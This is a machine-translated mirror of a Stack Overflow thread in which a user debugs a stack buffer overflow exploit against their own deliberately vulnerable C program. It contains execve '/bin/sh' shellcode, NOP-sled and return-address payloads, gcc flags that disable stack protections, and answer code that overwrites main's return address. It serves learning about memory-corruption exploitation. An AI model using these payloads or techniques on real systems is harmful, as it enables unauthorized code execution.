簡體   English   中英

為什么我的堆棧緩沖區溢出漏洞無效?

[英]Why is my stack buffer overflow exploit not working?

所以我有一個非常簡單的stackoverflow:

#include <stdio.h>

int main(int argc, char *argv[]) {

    char buf[256];
    memcpy(buf, argv[1],strlen(argv[1]));
    printf(buf);

}

我正試圖溢出這段代碼:

$(python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80' + 'A'*237 + 'c8f4ffbf'.decode('hex')")

當我溢出堆棧時,我成功地用我想要的地址覆蓋EIP但是沒有任何反應。 它不會執行我的shellcode。

有誰看到這個問題? 注意:我的python可能是錯誤的。


UPDATE

我不明白的是為什么我的代碼沒有執行。 例如,如果我將eip指向nops,那么nops永遠不會被執行。 像這樣,

$(python -c "print '\x90'*50 + 'A'*210 + '\xc8\xf4\xff\xbf'")

UPDATE

有人可以在linux x86上自己利用這個溢出並發布結果嗎?


UPDATE

沒關系,我把它弄好了。 感謝你的幫助。


UPDATE

好吧,我以為我做到了。 我確實得到了一個shell,但現在我又在嘗試,我遇到了問題。

我正在做的就是在開始時溢出堆棧並指向我的shellcode。

像這樣,

r $(python -c 'print "A"*260 + "\xcc\xf5\xff\xbf"')

這應該指向A的。 現在我不明白為什么我的地址最后在gdb中被改變了。

這就是gdb給我的,

Program received signal SIGTRAP, Trace/breakpoint trap.
0xbffff5cd in ?? ()

\\ xcc變為\\ xcd。 這可能與我用gdb得到的錯誤有關嗎?

例如,當我用“B”填充該地址時,它可以使用\\ x42 \\ x42 \\ x42 \\ x42解決。 什么給出了什么?

任何幫助,將不勝感激。

另外,我正在使用以下選項進行編譯:

gcc -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 -o so so.c

這真的很奇怪,因為除了我需要的地址之外,任何其他地址都有效。


UPDATE

我可以在gdb中成功生成帶有以下內容的shell,

$(python -c "print '\x90'*37 +'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80' + 'A'*200 + '\xc8\xf4\xff\xbf'")

但是我不明白為什么它有時會起作用而在其他時候不起作用。 有時我的覆蓋eip會被gdb更改。 有誰知道我錯過了什么? 此外,我只能在gdb中spwan一個shell而不是正常的進程。 最重要的是,我似乎只能在gdb中啟動一次shell然后gdb停止工作。

例如,現在當我運行以下內容時,我在gdb中得到了這個...

Starting program: /root/so $(python -c 'print "A"*260 + "\xc8\xf4\xff\xbf"')

Program received signal SIGSEGV, Segmentation fault.
0xbffff5cc in ?? ()

這似乎是由execstack打開引起的。


UPDATE

是的,由於某種原因,我得到了不同的結果,但這個漏洞現在正在發揮作用。 謝謝大家的幫助。 如果有人能解釋我上面收到的結果,我會全力以赴。 謝謝。

對於直接來自編譯器的攻擊,有幾種保護措施。 例如,您的堆棧可能無法執行。

readelf -l <filename>

如果你的輸出包含這樣的東西:

GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4

這意味着你只能在堆棧上讀寫(所以你應該“返回libc”來生成你的shell)。

還有一個金絲雀保護,這意味着你的變量和指令指針之間有一部分內存,它包含一個檢查完整性的短語,如果它被你的字符串覆蓋,程序將退出。

如果您在自己的程序中嘗試此操作,請考慮使用gcc命令刪除一些保護:

gcc -z execstack

還有關於程序集的注釋,通常在shell代碼之前包含nops,因此您不必定位shell代碼啟動的確切地址。

$(python -c "print '\\x90'*37 +'\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80' + 'A'*200 + '\\xc8\\xf4\\xff\\xbf'")

請注意,在應放在指令指針內的地址中,您可以修改最后的十六進制數字以指向nops內的某個位置,而不一定位於緩沖區的開頭。

當然,如果你嘗試這樣的話, gdb應該成為你最好的朋友。

希望這可以幫助。

這樣做不會太好[如書面說明]。 但是,這可能的,所以請繼續閱讀......


有助於了解調用main函數時實際的堆棧布局。 這比大多數人意識到的要復雜一些。

假設一個POSIX OS(例如linux),內核會將堆棧指針設置為固定地址。

內核執行以下操作:

它計算環境變量字符串需要多少空間(即所有環境變量的strlen("HOME=/home/me") + 1 ,並在向下[朝向較低內存]方向將這些字符串“推”到堆棧上。然后它計算有多少(例如envcount )並在堆棧上創建char *envp[envcount + 1]並使用指向給定字符串的指針填充envp值。它null終止此envp

argv字符串進行了類似的處理。

然后,內核加載ELF解釋器。 內核使用ELF解釋器的起始地址啟動進程。 ELF解釋器[最終]調用“start”函數(例如來自crt0.o _start ),它執行一些init然后調用main(argc,argv,envp)

這是[類型]當main被調用時堆棧的樣子:

"HOME=/home/me"
"LOGNAME=me"
"SHELL=/bin/sh"

// alignment pad ...

char *envp[4] = {
    // address of "HOME" string
    // address of "LOGNAME" string
    // address of "SHELL" string
    NULL
};

// string for argv[0] ...
// string for argv[1] ...
// ...

char *argv[] = {
    // pointer to argument string 0
    // pointer to argument string 1
    // pointer to argument string 2
    NULL
}

// possibly more stuff put in by ELF interpreter ...

// possibly more stuff put in by _start function ...

x86argcargvenvp指針值被放入x86 ABI的前三個參數寄存器中。


這是問題[問題,復數,實際上] ......

所有這一切都完成之后,你幾乎不知道shell代碼的地址是什么。 因此,您編寫的任何代碼都必須是RIP相對尋址,並且[可能]使用-fPIC構建。

並且,結果代碼中間不能有零字節,因為這[由內核]作為EOS終止字符串傳送。 因此,一個具有零的字符串(例如<byte0>,<byte1>,<byte2>,0x00,<byte5>,<byte6>,... )只會傳輸前三個字節而不是整個shell代碼程序。

你也不知道堆棧指針的值是什么。

另外,你需要找到 它的返回地址(即這是啟動功能的什么堆棧中的存儲器字call main匯編指令將)。

包含返回地址的單詞必須設置為shell代碼的地址。 但是,它並不總是具有相對於main堆棧幀變量(例如buf )的固定偏移量。 因此,您無法預測要修改的堆棧上的哪個單詞以獲得“返回shellcode”效果。

此外,在x86架構上,還有一些特殊的緩解硬件。 例如,頁面可以標記為NX [無執行]。 這通常針對某些段(例如堆棧)完成。 如果RIP更改為指向堆棧,則硬件將發生故障。


這是[簡單]解決方案......

gcc有一些可以提供幫助的內在函數: gcc __builtin_return_addressgcc __builtin_frame_address

因此,從內在函數中獲取實際返回地址的值[call this retadr ]。 獲取堆棧幀的地址[調用此fp ]。

fp開始並遞增(通過sizeof(void*) )向更高的內存,找到與retadr匹配的retadr 此內存位置是您要修改以指向shell代碼的位置。 它可能會偏移0或8

那么,那么做: *fp = argv[1]並返回。

注意,可能需要額外的步驟,因為如果堆棧設置了NX位,則argv[1]指向的字符串如上所述位於堆棧上。


以下是一些有效的示例代碼:

#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <sys/syscall.h>

void
shellcode(void)
{
    static char buf[] = "shellcode: hello\n";
    char *cp;

    for (cp = buf;  *cp != 0;  ++cp);

    // NOTE: in real shell code, we couldn't rely on using this function, so
    // these would need to be the CPP macro versions: _syscall3 and _syscall2
    // respectively or the syscall function would need to be _statically_
    // linked in
    syscall(SYS_write,1,buf,cp - buf);
    syscall(SYS_exit,0);
}

int
main(int argc,char **argv)
{
    void *retadr = __builtin_return_address(0);
    void **fp = __builtin_frame_address(0);
    int iter;

    printf("retadr=%p\n",retadr);
    printf("fp=%p\n",fp);

    // NOTE: for your example, replace:
    //   *fp = (void *) shellcode;
    // with:
    //   *fp = (void *) argv[1]

    for (iter = 20;  iter > 0;  --iter, fp += 1) {
        printf("fp=%p %p\n",fp,*fp);
        if (*fp == retadr) {
            *fp = (void *) shellcode;
            break;
        }
    }

    if (iter <= 0)
        printf("main: no match\n");

    return 0;
}

嘗試執行堆棧緩沖區溢出時,我遇到了類似的問題。 我發現我在GDB中的返回地址與正常流程中的返回地址不同。 我做的是添加以下內容:

unsigned long printesp(void){
    __asm__("movl %esp,%eax");
}

並且在Return之前在主右邊的末尾調用它以了解堆棧的位置。 從那里我剛剛玩了這個值從打印的ESP減去4直到它工作。

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM